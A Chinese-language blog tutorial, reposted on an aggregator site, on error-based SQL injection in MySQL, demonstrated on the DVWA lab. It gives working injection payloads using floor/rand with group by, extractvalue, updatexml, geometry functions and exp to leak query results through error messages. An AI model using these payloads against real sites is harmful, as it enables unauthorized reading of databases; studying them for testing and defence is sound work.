sqli-报错注入

时间:2020-07-02 19:36:33   收藏:0   阅读:81

报错注入是什么

利用将错误信息显示的函数(语句),把注入的结果通过错误信息回显回来
构造payload让信息通过错误提示回显出来

适用场景及条件

查询信息不回显;盲注太慢

  1. 服务端开启错误提示且能回显错误信息。比如PHP的display_errors为1,未用@抑制报错信息

报错函数及其原理

  1. floor()
    group by 对rand()函数进行操作时产生错误。
    select count(*) from information_schema.tables group by concat((select user()),floor(rand(0)*2))

concat连接字符串
floor取float的整数值
rand取0~1之间随机浮点值
group by根据一个或多个列对结果集进行分组并有排序功能

  1. extractvalue()
    XPATH语法错误产生报错。extractvalu的第?个参数要求是xpath格式字符串,如果是非法格式就会报错,并将非法格式内容返回。
    select extractvalue(1,concat(0x7e,(select user()),0x7e))
  2. updatexml()
    XPATH语法错误产生报错,同上。
    select updatexml(1,concat(0x7e,(select user()),0x7e),1)

补充

  1. geometrycollection()
    select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
  2. multipoint()
    select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
  3. polygon()
    select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
  4. multipolygon()
    select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
  5. linestring()
    select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
  6. multilinestring()
    select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
  7. exp()
    select * from test where id=1 and exp(~(select * from(select user())a));

演示

dvwa

为什么用0x7e?因为0x7e是”~”的十六进制编码,用来分割显示结果,‘#‘同理
报错函数返回信息长度有32位限制,可用substring或substr截取显示

  1. extractvalue()
    concat连接的字符串中第一位必须是非xpath的值
  1. updatexml()

原文:https://www.cnblogs.com/Rain99-/p/13226556.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!